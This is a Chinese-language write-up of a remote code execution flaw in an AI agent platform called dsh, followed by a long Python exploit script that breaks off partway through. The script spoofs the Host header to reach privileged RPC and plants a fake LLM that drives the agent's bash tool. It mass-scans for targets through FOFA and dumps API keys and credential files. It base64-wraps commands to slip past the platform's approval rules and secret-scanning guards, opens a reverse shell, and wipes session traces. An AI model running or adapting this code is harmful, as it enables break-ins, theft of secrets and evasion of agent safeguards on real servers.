文章

deepseek-harness远程代码执行漏洞-dsh2shell

0x01 漏洞概要:

该漏洞产生的根本原因是 dsh 平台对 Host 请求头的校验存在缺陷。攻击者通过伪造 Host 头,可以绕过权限控制,调用 dsh 内部原本受限的 RPC 方法。

利用该权限,攻击者可以注册一个指向自己控制的虚假 LLM 提供者。随后,通过该虚假提供者,攻击者可以驱动 dsh 的 Agent 工具(如 bash 工具)执行任意系统命令。

整个攻击过程无需任何有效的 API Key 或真实的模型。攻击者成功利用该漏洞后,可以在目标服务器上以 dsh 服务进程的权限执行任意命令,实现完全远程代码执行,进而窃取敏感数据、植入后门或进行横向移动。

0x02 EXP

群里立刻也有小伙伴发了python脚本

#!/usr/bin/env python3
"""dsh2shell — Unauthenticated RCE PoC for exposed DeepSeek Harness (dsh) web instances.

Principle: spoofing the Host header unlocks dsh's privileged RPC methods, which
lets the PoC register a temporary LLM provider pointing at its own built-in fake
model server and drive the agent's bash tool with deterministic tool calls — no
real model or valid API key needed.

Improved version — bug fixes, structural refactor, expanded capabilities.
"""
from __future__ import annotations

import argparse
import base64
import csv
import json
import os
import re
import select
import shutil
import signal
import socket
import ssl
import sys
import threading
import time
import urllib.error
import urllib.parse
import urllib.request
import uuid
from concurrent.futures import ThreadPoolExecutor, as_completed
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from typing import Any, Callable


# ═══════════════════════════════════════════════════════════════════════
# Constants
# ═══════════════════════════════════════════════════════════════════════

DEFAULT_LLM_PORT      = 9999
DEFAULT_SHELL_PORT    = 4444
MAX_RESPONSE_BYTES    = 5_000_000
MAX_ERROR_BYTES       = 1_000
PROBE_BODY_LIMIT      = 2_000_000
FOFA_API              = "https://fofa.info/api/v1/search/all"
FOFA_QUERY            = 'body="__DSH_BOOT__"'
DSH_MARKERS           = ("__DSH_BOOT__", "@deepseek-ai/dsh-")
B64_MARK              = "DSH2SHELL_B64_END"
DUMMY_KEY             = "sk-dsh2shell-lab"
USER_AGENT            = "dsh2shell-lab/2.1"
POLL_INTERVAL_S       = 2.0
RESTORE_MAX_RETRIES   = 3
RESTORE_RETRY_DELAY_S = 2.0
CLEANUP_SETTLE_S      = 15


# ═══════════════════════════════════════════════════════════════════════
# Exceptions
# ═══════════════════════════════════════════════════════════════════════

class PocError(Exception):
    """Controlled error for PoC operational failures."""


# ═══════════════════════════════════════════════════════════════════════
# SSL — public API only (no ssl._create_unverified_context)
# ═══════════════════════════════════════════════════════════════════════

def make_ssl_context(*, verify: bool = True) -> ssl.SSLContext:
    """Return an SSL context using only public ssl API."""
    ctx = ssl.create_default_context()
    if not verify:
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
    return ctx


def make_opener(*, verify_tls: bool = True) -> urllib.request.OpenerDirector:
    """Build a urllib opener with consistent TLS policy."""
    ctx = make_ssl_context(verify=verify_tls)
    return urllib.request.build_opener(
        urllib.request.HTTPSHandler(context=ctx)
    )


# ═══════════════════════════════════════════════════════════════════════
# Console output
# ═══════════════════════════════════════════════════════════════════════

_USE_COLOR: bool = sys.stdout.isatty() and not os.environ.get("NO_COLOR")
_C: dict[str, str] = (
    {"g": "\033[32m", "r": "\033[31m", "y": "\033[33m", "c": "\033[36m",
     "b": "\033[1m", "0": "\033[0m"}
    if _USE_COLOR
    else dict.fromkeys("grycb0", "")
)

_KEY_RE = re.compile(
    r"(sk-[A-Za-z0-9._-]{16,}|nvapi-[A-Za-z0-9._-]{20,}|ark-[0-9a-fA-F-]{20,}"
    r"|sk_tr_[A-Za-z0-9_-]{16,}|sk-kimi-[A-Za-z0-9]{16,}"
    r"|ghp_[A-Za-z0-9]{20,}|glpat-[A-Za-z0-9_-]{20,}"
    r"|AKIA[0-9A-Z]{16}|xox[baprs]-[A-Za-z0-9-]{10,})"
)
_ENV_RE = re.compile(
    r"(?m)^[A-Za-z_][A-Za-z0-9_]*(?:KEY|TOKEN|SECRET|PASSWORD|PASSWD)=\S+$"
)

_verbose: bool = False


def good(msg: str) -> None:
    print(f"{_C['g']}[+]{_C['0']} {msg}")


def info(msg: str) -> None:
    print(f"{_C['c']}[*]{_C['0']} {msg}")


def bad(msg: str) -> None:
    print(f"{_C['r']}[-]{_C['0']} {msg}")


def debug(msg: str) -> None:
    """Printed only when --verbose is set."""
    if _verbose:
        print(f"{_C['y']}[D]{_C['0']} {msg}")


def section(label: str, body: str) -> None:
    if _USE_COLOR:
        body = _KEY_RE.sub(
            lambda m: f"{_C['r']}{_C['b']}{m.group(0)}{_C['0']}", body
        )
    print(
        f"{_C['y']}{_C['b']}----- {label} output -----{_C['0']}\n{body}\n"
        f"{_C['y']}{_C['b']}----- end -----{_C['0']}"
    )


# ═══════════════════════════════════════════════════════════════════════
# Network helpers
# ═══════════════════════════════════════════════════════════════════════

def normalize_target(value: str) -> str:
    """Normalise a user-supplied target into a clean base URL."""
    value = value.strip().rstrip("/")
    if not value:
        raise PocError("empty target")
    if "://" not in value:
        value = "http://" + value
    parsed = urllib.parse.urlparse(value)
    if parsed.scheme not in ("http", "https") or not parsed.netloc:
        raise PocError(f"invalid target: {value!r}")
    return value


def split_listener(value: str) -> tuple[str, int]:
    """Parse a HOST:PORT listener string."""
    try:
        host, port_s = value.rsplit(":", 1)
        port = int(port_s)
    except ValueError as exc:
        raise PocError(f"invalid listener {value!r}; expected HOST:PORT") from exc
    if not host or not 1 <= port <= 65535:
        raise PocError(f"invalid listener: {value!r}")
    return host, port


def detect_lhost(target: str) -> str:
    """Auto-detect a callback address reachable from *target*
    (supports both IPv4 and IPv6)."""
    host = urllib.parse.urlparse(target).hostname
    if not host:
        raise PocError("cannot determine target hostname")
    last_err: Exception | None = None
    for family, socktype, proto, _, sockaddr in socket.getaddrinfo(
        host, 443, type=socket.SOCK_DGRAM
    ):
        if family not in (socket.AF_INET, socket.AF_INET6):
            continue
        probe = socket.socket(family, socktype, proto)
        try:
            probe.connect(sockaddr)
            local = probe.getsockname()[0]
            if local not in ("0.0.0.0", "::"):
                return local
        except OSError as exc:
            last_err = exc
        finally:
            probe.close()
    raise PocError(f"cannot infer a callback address: {last_err}")


# ═══════════════════════════════════════════════════════════════════════
# Target — RPC client with Host-header spoofing and transient retry
# ═══════════════════════════════════════════════════════════════════════

class Target:
    """HTTP client for DSH privileged RPC."""

    TRANSIENT = (urllib.error.URLError, TimeoutError, OSError, ConnectionError)
    DEFAULT_RETRIES = 2
    RETRY_BACKOFF   = 1.5   # seconds, multiplied by attempt number

    def __init__(self, base: str, timeout: int, insecure: bool,
                 *, retries: int = DEFAULT_RETRIES):
        self.base = normalize_target(base)
        self.timeout = timeout
        self.retries = retries
        self.headers: dict[str, str] = {
            "Content-Type": "application/json",
            "Accept": "application/json",
            "User-Agent": USER_AGENT,
        }
        # Core of the vuln: spoof Host header to bypass local-only guard
        parsed = urllib.parse.urlparse(self.base)
        if parsed.hostname not in ("127.0.0.1", "localhost", "::1"):
            self.headers["Host"] = "localhost"
        self.opener = make_opener(verify_tls=not insecure)

    def rpc(self, method: str, payload: Any,
            timeout: int | None = None) -> Any:
        """Send a single RPC call.  Retries on transient network errors;
        HTTP 4xx/5xx raises immediately."""
        envelope = {
            "type": "client-request",
            "rpcId": str(uuid.uuid4()),
            "method": method,
            "payload": payload,
        }
        body = json.dumps(envelope, separators=(",", ":")).encode()
        request = urllib.request.Request(
            f"{self.base}/api/{method}",
            data=body,
            headers=self.headers,
            method="POST",
        )

        last_err: Exception | None = None
        for attempt_no in range(1 + self.retries):
            if attempt_no > 0:
                delay = self.RETRY_BACKOFF * attempt_no
                debug(
                    f"retry {attempt_no}/{self.retries} for {method} "
                    f"after {delay:.1f}s"
                )
                time.sleep(delay)
            try:
                with self.opener.open(
                    request, timeout=timeout or self.timeout
                ) as resp:
                    raw = resp.read(MAX_RESPONSE_BYTES)
                try:
                    return json.loads(raw)
                except json.JSONDecodeError as exc:
                    raise PocError(f"{method}: non-JSON response") from exc
            except urllib.error.HTTPError as exc:
                err_body = exc.read(MAX_ERROR_BYTES).decode("utf-8", "replace")
                raise PocError(
                    f"{method}: HTTP {exc.code}: {err_body}"
                ) from exc
            except self.TRANSIENT as exc:
                last_err = exc
                debug(f"{method}: transient error: {exc}")

        raise PocError(
            f"{method}: failed after {self.retries + 1} attempts: {last_err}"
        )

    def must(self, method: str, payload: Any,
             timeout: int | None = None) -> Any:
        """RPC call that asserts ok=True and returns .result.value."""
        response = self.rpc(method, payload, timeout)
        result = (
            response.get("result") if isinstance(response, dict) else None
        )
        if not isinstance(result, dict) or result.get("ok") is not True:
            raise PocError(
                f"{method}: "
                f"{json.dumps(response, ensure_ascii=False)[:600]}"
            )
        return result.get("value")

    def history(self, session_id: str) -> dict:
        """Retrieve session event history."""
        value = self.must("session.history", {"sessionId": session_id})
        return value if isinstance(value, dict) else {}


# ═══════════════════════════════════════════════════════════════════════
# Event / history helpers
# ═══════════════════════════════════════════════════════════════════════

def iter_events(history: dict):
    """Yield unwrapped event dicts from a session history."""
    for entry in history.get("events") or []:
        if isinstance(entry, dict) and isinstance(entry.get("event"), dict):
            yield entry["event"]


def turn_failure(history: dict) -> str | None:
    """Return a human-readable error string if the last turn failed."""
    for event in iter_events(history):
        if event.get("type") != "turn/end":
            continue
        reason = (event.get("data") or {}).get("reason") or {}
        if reason.get("kind") != "error":
            continue
        error = reason.get("error") or reason.get("failure") or reason
        if isinstance(error, dict):
            return (
                f"{error.get('code', 'AGENT_ERROR')}: "
                f"{error.get('message', error)}"
            )
        return str(error)
    return None


def turn_completed(history: dict) -> dict | None:
    """Return the reason dict of the last turn/end, or None."""
    for event in iter_events(history):
        if event.get("type") == "turn/end":
            return (event.get("data") or {}).get("reason") or {}
    return None


def tool_texts(history: dict) -> list[str]:
    """Extract all text outputs from tool/result events."""
    output: list[str] = []
    for event in iter_events(history):
        if event.get("type") != "tool/result":
            continue
        message = (event.get("data") or {}).get("message") or {}
        for part in message.get("content") or []:
            if not isinstance(part, dict):
                continue
            for item in part.get("content") or []:
                if isinstance(item, dict) and item.get("type") == "text":
                    output.append(item.get("text", ""))
    return output


def turn_count(history: dict) -> int:
    return sum(
        1 for event in iter_events(history)
        if event.get("type") == "turn/end"
    )


def wait_turn(target: Target, session_id: str, timeout: float,
              after: int = 0) -> dict:
    """Wait for a NEW turn/end beyond the *after* already-seen ones.
    Session history is cumulative, so an unindexed wait returns the
    previous turn."""
    deadline = time.monotonic() + timeout
    while time.monotonic() < deadline:
        history = target.history(session_id)
        if turn_count(history) > after:
            reason = turn_completed(history)
            if reason is not None:
                if reason.get("kind") == "error":
                    raise PocError(
                        f"agent turn failed: {turn_failure(history)}"
                    )
                return history
        time.sleep(POLL_INTERVAL_S)
    raise PocError("agent turn timed out")


# ═══════════════════════════════════════════════════════════════════════
# FOFA asset discovery (fixed: uses shared opener / SSL context)
# ═══════════════════════════════════════════════════════════════════════

def fofa_search(api_key: str, query: str, size: int,
                timeout: int) -> list[dict]:
    """Query the FOFA API and return raw result rows."""
    encoded = base64.b64encode(query.encode()).decode()
    params = urllib.parse.urlencode({
        "key": api_key,
        "qbase64": encoded,
        "fields": "host,ip,port,protocol,title",
        "size": size,
        "page": 1,
    })
    request = urllib.request.Request(
        f"{FOFA_API}?{params}",
        headers={"Accept": "application/json", "User-Agent": USER_AGENT},
    )
    # FOFA API uses a valid TLS certificate — verify it
    opener = make_opener(verify_tls=True)
    try:
        with opener.open(request, timeout=timeout) as resp:
            data = json.load(resp)
    except (urllib.error.URLError, TimeoutError, OSError, ValueError) as exc:
        raise PocError(f"FOFA request failed: {exc}") from exc
    if data.get("error"):
        raise PocError(
            f"FOFA error: {data.get('errmsg', 'unknown error')}"
        )
    rows: list[dict] = []
    for raw in data.get("results") or []:
        row = list(raw)
        rows.append({
            "host":     row[0] if len(row) > 0 else "",
            "ip":       row[1] if len(row) > 1 else "",
            "port":     row[2] if len(row) > 2 else "",
            "protocol": row[3] if len(row) > 3 else "http",
            "title":    row[4] if len(row) > 4 else "",
        })
    return rows


def candidate_url(row: dict) -> str:
    """Derive a base URL from a FOFA result row."""
    host = str(row.get("host") or "").strip().rstrip("/")
    if host.startswith(("http://", "https://")):
        return host
    scheme = str(row.get("protocol") or "http").lower()
    if scheme not in ("http", "https"):
        scheme = "http"
    address = row.get("ip") or host
    port = str(row.get("port") or "")
    return f"{scheme}://{address}:{port}" if port else f"{scheme}://{address}"


def probe_candidate(row: dict, timeout: int,
                    opener: urllib.request.OpenerDirector) -> dict:
    """Passively probe a FOFA candidate for DSH fingerprint and API
    status.  Shares the caller-provided *opener* to avoid per-call
    SSL context creation."""
    url = candidate_url(row)
    try:
        req = urllib.request.Request(
            f"{url}/", headers={"User-Agent": USER_AGENT}
        )
        with opener.open(req, timeout=timeout) as resp:
            status = resp.status
            body = resp.read(PROBE_BODY_LIMIT).decode("utf-8", "replace")
        if status != 200 or not any(m in body for m in DSH_MARKERS):
            return {
                **row, "url": url, "status": "no_fingerprint", "api": status
            }
        req = urllib.request.Request(
            f"{url}/api/events.host",
            headers={"User-Agent": USER_AGENT},
        )
        try:
            with opener.open(req, timeout=timeout) as resp:
                api_status = resp.status
        except urllib.error.HTTPError as exc:
            api_status = exc.code
        label = {426: "open"}.get(api_status)
        if label is None:
            label = "gated" if api_status in (401, 403) else "uncertain"
        return {**row, "url": url, "status": label, "api": api_status}
    except (urllib.error.URLError, TimeoutError, OSError) as exc:
        return {
            **row, "url": url, "status": "unreachable",
            "api": "", "error": str(exc),
        }


def run_fofa(args: argparse.Namespace) -> int:
    """FOFA inventory mode: discover and passively probe DSH instances."""
    api_key = os.environ.get("FOFA_KEY", "").strip()
    if not api_key:
        raise PocError(
            "set FOFA_KEY in the environment; keys are never hard-coded"
        )
    candidates = fofa_search(
        api_key, args.fofa_query, args.fofa_size, args.http_timeout
    )
    info(
        f"FOFA returned {len(candidates)} candidates; "
        f"passive DSH/API probing only"
    )

    # Shared opener for all probes (targets may have self-signed certs)
    opener = make_opener(verify_tls=False)
    rows: list[dict] = []
    with ThreadPoolExecutor(max_workers=args.fofa_workers) as pool:
        futures = {
            pool.submit(probe_candidate, row, args.probe_timeout, opener): row
            for row in candidates
        }
        for future in as_completed(futures):
            rows.append(future.result())

    order = {
        "open": 0, "gated": 1, "uncertain": 2,
        "no_fingerprint": 3, "unreachable": 4,
    }
    rows.sort(key=lambda r: (order.get(r["status"], 9), r["url"]))
    with open(args.output, "w", newline="", encoding="utf-8-sig") as fh:
        writer = csv.DictWriter(
            fh,
            fieldnames=[
                "url", "ip", "port", "protocol",
                "title", "status", "api", "error",
            ],
            extrasaction="ignore",
        )
        writer.writeheader()
        writer.writerows(rows)
    counts: dict[str, int] = {}
    for r in rows:
        counts[r["status"]] = counts.get(r["status"], 0) + 1
    good(
        "probe summary: "
        + " ".join(f"{k}={v}" for k, v in sorted(counts.items()))
    )
    good(f"CSV written: {args.output}")
    return 0


# ═══════════════════════════════════════════════════════════════════════
# FakeLLM — OpenAI-compatible SSE endpoint driving the agent's bash tool
# ═══════════════════════════════════════════════════════════════════════

class FakeLLM:
    """Minimal OpenAI chat/completions server that returns deterministic
    tool_calls to drive the agent's bash tool."""

    def __init__(self, marker: str):
        self.marker = marker
        self.commands: list[str] = []
        self.lock = threading.Lock()
        self._httpd: ThreadingHTTPServer | None = None

    # ── queue management ──

    def push(self, command: str) -> None:
        with self.lock:
            self.commands.append(command)

    def queued(self) -> int:
        with self.lock:
            return len(self.commands)

    def replace_placeholder(self, placeholder: str, value: str) -> None:
        """Thread-safe in-place replacement of a placeholder command."""
        with self.lock:
            self.commands = [
                value if cmd == placeholder else cmd
                for cmd in self.commands
            ]

    # ── SSE construction ──

    @staticmethod
    def _chunk(delta: dict, finish: str | None = None,
               usage: bool = False) -> dict:
        item: dict[str, Any] = {
            "id": "chatcmpl-dsh2shell",
            "object": "chat.completion.chunk",
            "created": 1700000000,
            "model": "deepseek-v4-flash",
            "choices": [
                {"index": 0, "delta": delta, "finish_reason": finish}
            ],
        }
        if usage:
            item["usage"] = {
                "prompt_tokens": 1,
                "completion_tokens": 1,
                "total_tokens": 2,
            }
        return item

    @staticmethod
    def _sse(chunks: list[dict]) -> bytes:
        body = "".join(f"data: {json.dumps(c)}\n\n" for c in chunks)
        return (body + "data: [DONE]\n\n").encode()

    def _text_response(self, value: str) -> bytes:
        return self._sse([
            self._chunk({"role": "assistant", "content": value}),
            self._chunk({}, "stop", usage=True),
        ])

    def _tool_response(self, command: str) -> bytes:
        arguments = json.dumps({"command": command})
        return self._sse([
            self._chunk({
                "role": "assistant",
                "tool_calls": [{
                    "index": 0,
                    "id": "call_dsh2shell",
                    "type": "function",
                    "function": {"name": "bash", "arguments": ""},
                }],
            }),
            self._chunk({
                "tool_calls": [
                    {"index": 0, "function": {"arguments": arguments}}
                ],
            }),
            self._chunk({}, "tool_calls", usage=True),
        ])

    # ── HTTP handler ──

    def _make_handler(self) -> type[BaseHTTPRequestHandler]:
        outer = self

        class Handler(BaseHTTPRequestHandler):
            def log_message(self, *_a: Any) -> None:
                pass

            def do_GET(self) -> None:
                """Health-check endpoint for diagnostics."""
                if self.path == "/health":
                    self.send_response(200)
                    self.send_header("Content-Type", "application/json")
                    self.end_headers()
                    self.wfile.write(b'{"status":"ok"}')
                else:
                    self.send_response(404)
                    self.end_headers()

            def do_POST(self) -> None:
                length = int(self.headers.get("content-length", 0))
                try:
                    body = json.loads(self.rfile.read(length) or b"{}")
                except (ValueError, json.JSONDecodeError):
                    body = {}

                if not self.path.endswith("/chat/completions"):
                    self.send_response(404)
                    self.end_headers()
                    return

                messages = body.get("messages") or []
                blob = json.dumps(messages, ensure_ascii=False)

                is_title = (
                    "concise title" in blob
                    or "Generate the session title" in blob
                )

                last = (
                    messages[-1]
                    if messages and isinstance(messages[-1], dict)
                    else {}
                )
                last_user: dict | None = None
                for msg in messages:
                    if isinstance(msg, dict) and msg.get("role") == "user":
                        last_user = msg
                last_user_blob = (
                    json.dumps(last_user, ensure_ascii=False)
                    if last_user else ""
                )

                with outer.lock:
                    if last.get("role") == "tool":
                        data = outer._text_response("done")
                    elif (
                        not is_title
                        and outer.marker in last_user_blob
                        and outer.commands
                    ):
                        data = outer._tool_response(
                            outer.commands.pop(0)
                        )
                    else:
                        data = outer._text_response("ok")

                self.send_response(200)
                self.send_header("Content-Type", "text/event-stream")
                self.send_header("Content-Length", str(len(data)))
                self.end_headers()
                self.wfile.write(data)

        return Handler

    # ── lifecycle ──

    def start(self, host: str, port: int) -> None:
        try:
            self._httpd = ThreadingHTTPServer(
                (host, port), self._make_handler()
            )
        except OSError as exc:
            raise PocError(
                f"cannot bind fake LLM on {host}:{port}: {exc}"
            ) from exc
        threading.Thread(
            target=self._httpd.serve_forever, daemon=True
        ).start()

    def stop(self) -> None:
        if self._httpd is not None:
            self._httpd.shutdown()
            self._httpd.server_close()
            self._httpd = None


# ═══════════════════════════════════════════════════════════════════════
# Payloads
# ═══════════════════════════════════════════════════════════════════════

LOOT_SCRIPT = r'''
echo "== env"; env | grep -iE 'key|token|secret|passwd' | head -40
echo "== home"; ls -la ~ 2>/dev/null | head -40
echo "== dsh-trees"; for d in ~/.dsh*; do [ -e "$d" ] && echo "-- $d" && find "$d" -maxdepth 3 \( -iname '*cred*' -o -iname '*.env' -o -iname 'settings.yaml' -o -iname '*.keys*' \) 2>/dev/null; done
echo "== cred-files"; for f in ~/.dsh*/.credentials.yaml ~/.dsh*/settings.yaml ~/.env ~/.env.* ~/.bashrc ~/.zshrc ~/.profile ~/.bash_profile ~/.npmrc ~/.netrc ~/.aws/credentials; do [ -f "$f" ] && echo "-- $f" && cat "$f"; done 2>/dev/null | head -250
echo "== regex-sweep"; find ~/.dsh* ~/.aws -maxdepth 4 -type f 2>/dev/null | head -300 | xargs grep -ahoE '(sk-[A-Za-z0-9._-]{16,}|ark-[0-9a-fA-F-]{20,}|sk_tr_[A-Za-z0-9_-]{16,}|sk-kimi-[A-Za-z0-9]{16,}|ghp_[A-Za-z0-9]{20,}|glpat-[A-Za-z0-9_-]{20,}|AKIA[0-9A-Z]{16}|xox[baprs]-[A-Za-z0-9-]{10,}|[0-9a-f]{32}:[A-Za-z0-9+/=]{20,})' 2>/dev/null | sort -u | head -60
echo "== proc-environ"; cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE '(_KEY|_TOKEN|_SECRET|PASSWORD)=' | sort -u | head -40
echo "== loot-done"
'''.strip()

CLEAN_TMPL = r'''
purge() {
  for sid in "$@"; do
    [ -n "$sid" ] || continue
    for root in "${DSH_HOME:-}" "$HOME/.dsh" "$HOME/.config/dsh" "__CWD__" "__CWD__/.sessions" "__CWD__/.dsh"; do
      [ -n "$root" ] && [ -d "$root" ] && find "$root" -maxdepth 8 -type d -name "$sid" -exec rm -rf {} + 2>/dev/null
    done
  done
}
purge __SIDS__
( sleep 6; purge __SIDS__ ) >/dev/null 2>&1 &
echo "fs-clean-done"
'''.strip()


# ═══════════════════════════════════════════════════════════════════════
# Encoding helpers
# ═══════════════════════════════════════════════════════════════════════

def b64_exec(script: str) -> str:
    """Deliver *script* base64-encoded so dsh approval rules never see
    raw destructive patterns like ``rm -rf``."""
    encoded = base64.b64encode(script.encode()).decode()
    return f"echo {encoded} | base64 -d | bash"


def wrap_b64(command: str) -> str:
    """Route command output through base64 to evade guard plugins
    scanning tool results for secret patterns."""
    return (
        "{ " + command + "; } 2>&1 | base64 | tr -d '\\n'; "
        "echo; echo " + B64_MARK
    )


def decode_tool_output(text: str) -> str:
    """Decode a base64-wrapped tool output, falling back to raw text."""
    encoded = text.split(B64_MARK, 1)[0].strip()
    try:
        return base64.b64decode(encoded, validate=True).decode(
            "utf-8", "replace"
        )
    except (ValueError, UnicodeError):
        return text


# ═══════════════════════════════════════════════════════════════════════
# Reverse-shell command — 4-level fallback chain
# ═══════════════════════════════════════════════════════════════════════

def reverse_command(lhost: str, lport: int) -> str:
    """Build a polyglot reverse-shell one-liner.
    Tries python3 PTY → perl → ruby → bash /dev/tcp."""

    # python3 with PTY (best: interactive, job control)
    py_src = (
        "import os,pty,socket\n"
        "s=socket.socket()\n"
        f"s.connect(({lhost!r},{lport}))\n"
        "[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\n"
        "os.environ['TERM']='xterm-256color'\n"
        "pty.spawn(['/bin/bash','--noprofile','--norc','-i'])\n"
    )
    py_b64 = base64.b64encode(py_src.encode()).decode()

    # perl (widely available on Linux)
    pl_src = (
        f'use Socket;'
        f'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));'
        f'connect(S,sockaddr_in({lport},inet_aton("{lhost}")));'
        f'open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");'
        f'exec("/bin/bash -li");'
    )
    pl_b64 = base64.b64encode(pl_src.encode()).decode()

    # ruby
    rb_src = (
        f'require "socket";'
        f's=TCPSocket.new("{lhost}",{lport});'
        f'[0,1,2].each{{|fd| IO.new(fd).reopen(s)}};'
        f'exec "/bin/bash -li"'
    )
    rb_b64 = base64.b64encode(rb_src.encode()).decode()

    # bash /dev/tcp (last resort; requires bash compiled with net support)
    sh_src = (
        f"exec 9<>/dev/tcp/{lhost}/{lport}; "
        "exec /bin/bash -li <&9 >&9 2>&9"
    )
    sh_b64 = base64.b64encode(sh_src.encode()).decode()

    return (
        "if command -v python3 >/dev/null 2>&1; then "
        f"echo {py_b64} | base64 -d | nohup python3 >/dev/null 2>&1 & "
        "elif command -v perl >/dev/null 2>&1; then "
        f"echo {pl_b64} | base64 -d | nohup perl >/dev/null 2>&1 & "
        "elif command -v ruby >/dev/null 2>&1; then "
        f"echo {rb_b64} | base64 -d | nohup ruby >/dev/null 2>&1 & "
        "else "
        f"echo {sh_b64} | base64 -d | nohup /bin/bash >/dev/null 2>&1 & "
        "fi"
    )


# ═══════════════════════════════════════════════════════════════════════
# Interactive shell handlers
# ═══════════════════════════════════════════════════════════════════════

def interactive_posix(channel: socket.socket) -> None:
    """Raw-TTY interactive loop (Unix only)."""
    import termios
    import tty

    fd = sys.stdin.fileno()
    original = termios.tcgetattr(fd)
    size = shutil.get_terminal_size((120, 30))
    channel.sendall(
        (
            "export TERM=xterm-256color; unset PROMPT_COMMAND; "
            f"PS1='dsh$ '; stty rows {size.lines} cols {size.columns}; "
            "printf '\\n'\n"
        ).encode()
    )
    good("interactive PTY ready; Ctrl-] closes the client")
    try:
        tty.setraw(fd)
        while True:
            readable, _, _ = select.select([channel, fd], [], [])
            if channel in readable:
                data = channel.recv(65536)
                if not data:
                    break
                os.write(sys.stdout.fileno(), data)
            if fd in readable:
                data = os.read(fd, 4096)
                if not data or b"\x1d" in data:
                    break
                channel.sendall(data)
    finally:
        termios.tcsetattr(fd, termios.TCSADRAIN, original)
        print()


def interactive_fallback(channel: socket.socket) -> None:
    """Line-buffered interactive loop (cross-platform)."""
    good(
        "shell ready in stable line mode; "
        "enter 'exit-client' to disconnect"
    )
    channel.sendall(
        b"export TERM=dumb; unset PROMPT_COMMAND; PS1='dsh$ '\n"
    )
    stopped = threading.Event()

    def receive() -> None:
        while not stopped.is_set():
            try:
                data = channel.recv(65536)
            except OSError as exc:
                if not stopped.is_set():
                    info(f"shell receive stopped: {exc}")
                break
            if not data:
                if not stopped.is_set():
                    info("remote shell closed the connection")
                break
            sys.stdout.buffer.write(data)
            sys.stdout.buffer.flush()
        stopped.set()

    threading.Thread(target=receive, daemon=True).start()
    try:
        for line in sys.stdin:
            if line.rstrip("\r\n") == "exit-client":
                break
            channel.sendall(line.encode())
            if stopped.is_set():
                break
    finally:
        stopped.set()
        try:
            channel.shutdown(socket.SHUT_RDWR)
        except OSError:
            pass


# ═══════════════════════════════════════════════════════════════════════
# Restoration helpers
# ═══════════════════════════════════════════════════════════════════════

def attempt(label: str, fn: Callable[[], Any], hint: str) -> bool:
    """Best-effort restore step with retry; on final failure, print the
    exact manual remediation command."""
    last_err: Exception | None = None
    for _ in range(RESTORE_MAX_RETRIES):
        try:
            fn()
            good(f"restored: {label}")
            return True
        except PocError as exc:
            last_err = exc
            time.sleep(RESTORE_RETRY_DELAY_S)
    bad(f"restore FAILED: {label}: {last_err}")
    bad(f"manual fix: {hint}")
    return False


def snapshot(target: Target, description: dict) -> dict:
    """Capture pre-attack state (default model + permission preset)."""
    state: dict[str, Any] = {
        "default_provider": description.get("provider"),
        "default_model":    description.get("model"),
        "permission":       None,
        "had_permission":   False,
    }
    described = target.must("settings.describe", {}) or {}
    for ns in described.get("namespaces") or []:
        user = ns.get("user") or {}
        if ns.get("ns") == "permission":
            state["had_permission"] = "defaultPreset" in user
            state["permission"] = user.get("defaultPreset")
    return state


# ═══════════════════════════════════════════════════════════════════════
# Probe / Dry-run / Repair
# ═══════════════════════════════════════════════════════════════════════

def run_probe(client: Target) -> dict:
    """Read-only recon: reachability, default model, permission preset,
    provider routes, dsh2shell-* residue.  Returns provider map."""
    description = client.must("host.describe", {}) or {}
    good(
        f"privileged RPC reachable: "
        f"provider={description.get('provider')} "
        f"cwd={description.get('cwd')}"
    )
    info(
        f"deployment default model: "
        f"{description.get('provider')}/{description.get('model')}"
    )
    providers: dict = {}
    preset = None
    for ns in (
        (client.must("settings.describe", {}) or {})
        .get("namespaces") or []
    ):
        if ns.get("ns") == "llm-pi-ai":
            providers = (ns.get("user") or {}).get("providers") or {}
        elif ns.get("ns") == "permission":
            preset = (ns.get("user") or {}).get("defaultPreset")
    info(f"permission defaultPreset: {preset!r}")
    if providers:
        for name, profile in sorted(providers.items()):
            models = (profile or {}).get("models") or []
            info(f"provider route {name}: {len(models)} model(s)")
    else:
        info("no llm-pi-ai user provider routes")
    stale = sorted(
        {n for n in providers if n.startswith("dsh2shell-")}
        | (
            {description.get("provider")}
            if (description.get("provider") or "").startswith("dsh2shell-")
            else set()
        )
    )
    if stale:
        bad(f"dsh2shell residue (run --repair): {', '.join(stale)}")
    return providers


def run_dry(args: argparse.Namespace) -> int:
    """--dry-run: probe only, print state, change nothing."""
    client = Target(
        normalize_target(args.target), args.http_timeout, not args.secure
    )
    run_probe(client)
    info("dry-run: no changes made")
    return 0


def run_repair(args: argparse.Namespace) -> int:
    """Remove fake-LLM artifacts left by a killed run."""
    client = Target(
        normalize_target(args.target), args.http_timeout, not args.secure
    )
    description = client.must("host.describe", {}) or {}
    good(
        f"privileged RPC reachable: "
        f"provider={description.get('provider')} "
        f"cwd={description.get('cwd')}"
    )

    providers: dict = {}
    deepseek_models: list = []
    for ns in (
        (client.must("settings.describe", {}) or {})
        .get("namespaces") or []
    ):
        if ns.get("ns") == "llm-pi-ai":
            providers = (ns.get("user") or {}).get("providers") or {}
        elif ns.get("ns") == "llm-deepseek":
            deepseek_models = (ns.get("user") or {}).get("models") or []

    stale = {
        name: profile
        for name, profile in providers.items()
        if name.startswith("dsh2shell-")
    }
    if not stale:
        info("no leftover dsh2shell-* provider route found")

    current = description.get("provider") or ""
    if current.startswith("dsh2shell-"):
        original: dict | None = None
        for name in sorted(n for n in providers if n not in stale):
            models = (providers[name] or {}).get("models") or []
            if (
                models
                and isinstance(models[0], dict)
                and models[0].get("id")
            ):
                original = {"provider": name, "model": models[0]["id"]}
                break
        if original is None:
            model = None
            if deepseek_models and isinstance(deepseek_models[0], dict):
                model = deepseek_models[0].get("id")
            original = {
                "provider": "deepseek-official",
                "model": model or "deepseek-v4-flash",
            }
            info(
                f"no llm-pi-ai route left; falling back to built-in "
                f"deepseek-official/{original['model']}"
            )
        try:
            client.must(
                "settings.mutate",
                {
                    "ns": "agent-default-model",
                    "ops": [
                        {
                            "op": "set", "path": ["provider"],
                            "value": original["provider"],
                        },
                        {
                            "op": "set", "path": ["model"],
                            "value": original["model"],
                        },
                        {"op": "unset", "path": ["reasoningEffort"]},
                    ],
